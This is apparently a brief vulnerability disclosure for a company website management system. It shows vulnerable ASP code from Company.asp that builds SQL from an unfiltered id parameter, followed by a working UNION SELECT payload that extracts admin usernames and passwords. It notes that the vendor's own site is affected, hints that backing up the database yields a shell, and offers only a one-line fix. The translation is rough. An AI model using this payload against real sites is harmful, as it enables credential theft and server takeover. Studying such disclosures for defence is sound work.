Jicheng electric company enterprise website management system v1.0 (Chinese and English versions) Vulnerabilities and repair

File: Company. asp
 
 
<%
ID = trim (request. QueryString ("id "))
If ID = "" then ID = 1
Set Rs = server. createobject ("adodb. recordset ")
Rs. source = "select * from Company where ID =" & ID &""
Rs. open Rs. source, conn, 1, 3
If Rs. eof then
Content = "NO Content added! "
Else
Kig = Rs ("Kig ")
Rs ("kig") = Kig + 1
Rs. update
Content = Rs ("Content ")
ComName = Rs ("ComName ")
End if
Rs. close
Set Rs = nothing
%>
Nothing is filtered ..
 
 
Exp:
 
 
Company. asp? Id = 2 union select 1, username, password, 4,5, 6,7, 8 from Nwebadmin
 
 
The official website also exists ..
 
 
Back up the database to get the shell.
 
 

Www.2cto.com:
Enhance the filtering of the Code mentioned above